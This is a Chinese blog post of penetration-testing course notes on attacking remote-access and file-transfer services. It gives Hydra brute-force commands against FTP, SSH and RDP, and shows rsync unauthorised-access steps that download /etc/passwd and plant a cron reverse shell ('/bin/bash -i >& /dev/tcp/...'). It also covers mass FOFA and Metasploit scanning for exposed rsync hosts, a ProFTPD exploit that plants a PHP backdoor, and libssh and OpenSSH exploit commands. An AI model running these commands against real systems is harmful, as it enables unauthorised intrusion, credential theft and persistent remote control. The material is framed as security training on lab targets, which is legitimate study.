chenhongl

导航

 

 

#知识点:
1、服务攻防-远程控制&文件传输等
2、远程控制协议 - RDP&RDP&弱口令&漏洞
3、文件传输协议 - FTP&Rsync&弱口令&漏洞

#章节内容:
常见服务应用的安全测试:
  1、配置不当-未授权访问
  2、安全机制-特定安全漏洞
  3、安全机制-弱口令爆破攻击

#前置知识:
应用服务安全测试流程:见图
  1、判断服务开放情况-端口扫描&组合应用等
  2、判断服务类型归属-数据库&文件传输&通讯等
  3、判断服务利用方式-特定漏洞&未授权&弱口令等

 

一、口令猜解 - Hydra - FTP&RDP&SSH协议

FTP:文件传输协议,默认端口21

RDP:远程桌面协议(Windows),默认端口3389

SSH:远程登录协议(Linux),默认端口22

 

密码猜解工具:hydra

  https://github.com/vanhauser-thc/thc-hydra

hydra可以自己安装,也可以使用kali自带


kali下载:https://www.kali.org/get-kali/
hydra是一个自动化的爆破工具,暴力破解弱密码,
是一个支持众多协议的爆破工具,已经集成到KaliLinux中,直接在终端打开即可
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。

ftp爆破:hydra -L test -P 10top1K.txt 47.110.53.159 ftp -V
ssh爆破:hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V
rdp爆破:hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V

  -L:代表后面是字典

  -l:代表后面是用户名

  -V:显示爆破详情

 

Kail开放ssh服务:service ssh start

 

① 爆破RDP协议

扫描端口,确定3389的端口已开启
rdp爆破:hydra -l administrator -P 10top1K.txt 47.110.53.159 rdp -V

 

②  爆破字典可以从uzzDicts-master项目中找

爆破成功:

 

③ 爆破FTP协议

端口探针:开放21端口

爆破:因为FTP的用户名是不确定的,所有用户名和密码都要进行爆破

hydra -L 10top1K.txt -P 10top1K.txt 47.110.53.159 ftp -V

同时爆破账号和密码的爆破方式是组合爆破

 

④ SSH协议爆破

端口探针:开放22端口

爆破“:hydra -l root -P 10top1K.txt 47.110.53.159 ssh -V

 

二、配置不当-导致未授权访问-Rsync文件备份

rsync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。实现文件的传输和数据库的同步,保证文件的结构同步。

 

演示环境:vulfocus.io

① 判断存在Rsync未授权访问漏洞命令:rsync rsync://123.58.236.76:33825/

这个漏洞只存在于Linux系统

 

② 利用: 

  -读取文件:读取任意src文件夹下面的文件

    rsync rsync://123.58.236.76:33825/src/

    rsync rsync://123.58.236.76:33825/src/usr/  

    

  -下载文件:

    rsync rsync://123.58.236.76:33825/src/etc/passwd ./     #下载密码文件到本地

  -上传文件:

    rsync -av passwd rsync://123.58.236.76:33825/src/tmp/passwd   #把本地的passwd文件上传到目标服务器

  

③ 反弹shell:借助操作系统的自动计时任务来反弹shell

  1、把目标主机的定时任务的文件下载到本地
  rsync rsync://123.58.236.76:33825/src/etc/crontab /root/ccc.txt

  cat ccc.txt   #查看定时任务表

  

  17 * * * * root cd / && run-parts --report /etc/cron.hourly
  25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
  47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
  52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

   

  2、上传文件取代原有的定时任务文件

  比如将这个文件: /etc/cron.hourly 替换成有反弹shell的文件

  touch xiaodi   #创建文件
  vim xiaodi     #编辑文件,将反弹命令写到文件中

    文件内容:/bin/bash -i >& /dev/tcp/47.100.167.248/1111 0>&1

  chmod +x xiaodi  #给文件执行权限

  

 

  3、上传文件

    rsync -av xiaodi  rsync://123.58.236.76:33825/src/etc/cron.hourl   //把本地文件xiaodi上传到目标服务器替换原有的文件

  4、监听,等待定时任务开启,等待接受反弹
    nc -lvvp 5566

二、使用MSF&Fofaviewer批量检测存在rsync服务的软件

Fofaviewer工具:爬取fafa搜索到的所有网址的资产信息

项目地址:https://github.com/wgpsec/fofa_viewer(2个版本,一个jdk8、一个jdk11)
启动:G:\java14\bin\java.exe -jar fofaviewer.jar

① 使用Fofaviewer搜索关键字:port="873",即可查询到存在rsync服务器的所有网站,然后选择“导出结果”

 

② 配合msf,批量检测rsync漏洞的网站

  msfconsole   #启动msf
  use auxiliary/scanner/rsync/modules_list  #使用msf的modules_list模块来检测rsync漏洞

  #(1)直接检测目标主机

  set rhosts 123.58.236.76  #设置检测目标主机

  set rport 12155 #设置目标端口

  run

  

  # (2)检测目标文件中大量的网站是否存在sync漏洞

  set rhosts file:/root/i.txt   #检测 i.txt里面所有的ip
  set threads 10    #设置为10个线程

  set rport 873  #设置目标端口
  run

  检测到有[+]的就代表存在sync漏洞:

  

 

三、协议漏洞-应用软件-FTP&Proftpd搭建

FTP服务可以用软件来搭建,比如Proftpd,这个软件可能就有漏洞

演示环境:http://vulfocus.io/#/dashboard

利用:https://github.com/t0kx/exploit-CVE-2015-3306

直接用到exp:目标web路径要提前知道
python exploit.py --host 123.58.236.76 --port 55968 --path "/var/www/html/"

exploit.py会在网站目录下创建创建一个backdoor.php,执行exp之前,这个文件是不存在的

执行exp后,backdoor.php就被创建了:

 

执行cmd命令:http://123.58.236.76:27023/backdoor.php?cmd=id就可以执行后门

 

四、协议漏洞-应用软件-SSH协议漏洞 &libssh&Openssh

OpenSSH是实现SSH协议的开源软件包,Linux自带OpenSSH

关于Openssh漏洞目前有3个

查看当前SSH协议版本:

 

1、-Openssh CVE-2014-0160 CVE-2018-15473 cve_2020_15778

CVE-2014-0160 版本很少

危害:https://blog.csdn.net/yangbz123/article/details/109601357

影响版本: OpenSSL 1.0.2-beta, OpenSSL 1.0.1 - OpenSSL 1.0.1f

 

2、cve_2020_15778 价值不高

要实现该漏洞必须知道ssh用户密码(非root用户),但是一般来说ssh是阻止连接的,(绑定了ip不需要外部ip进行连接)。这个时候我们就可以利用这个漏洞进行连接。
ssh连接不了,利用这个漏洞来进行连接。

 

3、CVE-2018-15473-用户名枚举
环境:http://vulfocus.io/#/dashboard
意义:在猜解用户的时候,可以针对普通用户的密码测试,用于普通用户提权和利用

利用:https://github.com/Rhynorater/CVE-2018-15473-Exploit
安装:
pip install -r requirements.txt
pip install paramiko==2.4.1
python sshUsernameEnumExploit.py --port 62101 --userList exampleInput.txt 123.58.236.76

 

4、-libssh 身份验证绕过(CVE-2018-10933)
libssh 是一个插件
参考:https://www.seebug.org/vuldb/ssvid-97614
执行:python libssh.py 123.58.236.76 31548 "id"

fofa搜索:"libssh"&&port="22"

 

 

posted on 2024-07-09 16:54  chenhongl  阅读(115)  评论(0)    收藏  举报